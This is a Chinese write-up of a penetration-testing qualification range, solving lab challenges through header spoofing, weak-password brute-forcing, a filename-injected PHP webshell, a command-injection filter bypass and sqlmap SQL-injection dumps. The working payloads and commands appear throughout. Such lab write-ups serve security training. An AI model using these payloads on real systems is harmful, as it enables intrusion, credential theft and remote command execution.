1. 程式人生 > 實用技巧 >記一次某眾測的考核

記一次某眾測的考核

本文首發於“合天網安實驗室” 作者:kawhi

本文涉及靶場知識點實操練習——實驗:SQL注入原理與實踐(合天網安實驗室)

前言

最近沒什麼事,於是報名了某眾測,填了資料主辦方給了個靶場要考核,這裡分享一下靶場考核中的解題過程,一共十道題目,難度也不算太難,但也有一些題沒做出來,最後也是順利的通過了考核。

前戲

首先考核要答一些選擇題和判斷題,沒什麼好說的,主辦方要求連了vpn沒法上外網,但是都是一些基礎的網路安全問題,隨便答答就過了,接下來就是靶場的題目了。

靶場題目

第一題

WeSec微信公眾號

提示:用IPAD手機的2G網路上網

很明顯改改UA頭就行了,直接搜一下UA頭,替換上去。

改UA頭

GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*
;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://119.3.225.8:41064/index.html Upgrade-Insecure-Requests: 1

返回

mozhe64d25d173bdbae7366b76e0798a

第二題

易學車智慧考試系統

掃目錄發現/admin

爆破弱口令admin和admin888登入後臺,發現後臺是一個儲存檔案的功能,這裡可以直接讀取備份檔案bak_wwwroot.zip的原始碼,關鍵程式碼如下:

<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空為本目錄)<br>檔案儲存名稱:
        <input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>
        <input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">
        <input name="myaction" type="hidden" id="myaction" value="dozip">
        <input type="submit" name="Submit"  class="sub" value=" 開始備份">
function createfile(){
                    $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
                        pack('v', $this -> file_count) .
                        pack('v', $this -> file_count) .
                        pack('V', $this -> dirstr_len) .
                        pack('V', $this -> datastr_len) .
                        "\x00\x00";
                    fwrite($this->fp,$this->dirstr.$endstr);
                    fclose($this->fp);
                }
            }
if(is_array($_REQUEST[dfile])){
                $faisunZIP = new PHPzip;
                if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){
                    echo "正在新增備份檔案...<br><br>";
                    $filenum = 0;
                    foreach($_REQUEST[dfile] as $file){
                        if(is_file($file)){
                            echo "檔案: $file<br>";
                        }else{
                            echo "目錄: $file<br>";
                        }
                        $filenum += listfiles($file);
                    }
                    $faisunZIP -> createfile();
                    echo "<br>備份完成,共新增 $filenum 個檔案.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
                }else{
                    echo "$_REQUEST[todir]$_REQUEST[zipname] 不能寫入,請檢查路徑或許可權是否正確.<br>";
                }
            }else{
                echo "沒有選擇的檔案或目錄.<br>";
            }
        endif;
        ?>

審計程式碼,這裡的dfile引數任何的過濾,嘗試修改一下dfile的值,驚喜的發現可以讀取任意檔案,並寫入bak_wwwroot.zip,下載bak_wwwroot.zip就可以讀取了。

dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

雖然知道可以讀取任意檔案,但是不知道key是放在哪個地方,於是這裡又卡了一下,但是轉頭一想,這裡是寫一個檔名並壓縮排檔案裡面,老CTFer都知道做msic的時候,檔名會寫入壓縮包裡面,於是寫一個一句話木馬,並把bak_wwwroot.zip改為bak_wwwroot.php試一下,沒想到成功了。

dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

讀取目錄下所有檔案目錄

http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../

讀取key

http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt

第三題

數字校園

提示:瀏覽器型別要是IPAD,以及要用英文,解析度要1024*768

和第一題一樣的套路

不過這裡要改下

  • Accept-Language為en,zh;q=0.8,en-us;q=0.5,en;q=0.3
  • Cookie為screenX=1024; screenY=768

第四題

網站檔案備份伺服器

雖然頁面和第二題不同,但是掃目錄同樣掃出了是一樣的後臺,爆破弱口令,然後發現admin和admin,剩下的就和之前的步驟是一樣的了,寫一個馬然後讀key。

dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

第五題

教學器械採購平臺

一道命令執行的題,有個輸入框

隨便fuzz一下,發現過濾了&&和空格

於是&&用%26%26替代繞過,空格用<替代繞過

先用ls讀取檔案目錄

iipp=127.0.0.1%26%26ls&submit=Ping

然後再讀取key即可

第六題

教學質量評價系統

發現有個注入點

http://119.3.177.25:41204/show.php?id=MQ0=

測試了一下發現是base64盲注,用tamper指定base64編碼,直接丟sqlmap裡面跑一下。

這裡要注意的是這個靶場不太穩定,我們用sqlmap有個小問題就是盲注的時候他會根據響應速度來調整發送包的速度,太快了可能網站會崩,所以sqlmap會增加延遲,讓他更像是人手工在注入,我覺得慢就斷開了,但是如果不清理快取每次重來就是從上一次繼續,所以這裡的話加上fresh-queries,再加上batch自動確認。

跑資料庫

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --dbs --dump --batch --fresh-queries

跑表名

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --tables -D test --dump --batch --fresh-queries

跑列名

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries

最後payload如下

python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries

直接跑出key

第七題

XWAY科技管理系統

平臺停機維護的通知存在注入,發現注入點在

http://119.3.225.8:41046/new_list.php?id=1

繼續sqlmap跑起來,

跑資料庫

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch

跑表名

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch

跑列名

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch

最後payload

python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch

跑出兩個賬號密碼

  • mozhe/528469
  • mozhe/888054

登入之後,即可拿到key。

第八題

XWAY電腦採購系統

隨便看了發現到一個注入點

http://119.3.187.27:41144/new_list.php?id=1

發現是union注入,依舊嘗試用sqlmap

跑資料庫

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump  --batch

跑表名

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump  --batch

跑列名

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump  --batch

最後payload

python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump  --batch

最後跑出五個賬號密碼,只有一個能用,md5解密登入拿key。

sql注入不愧是OWASP TOP 10 之 榜首,10道題目出現了3道,有一說一sqlmap真的是好用。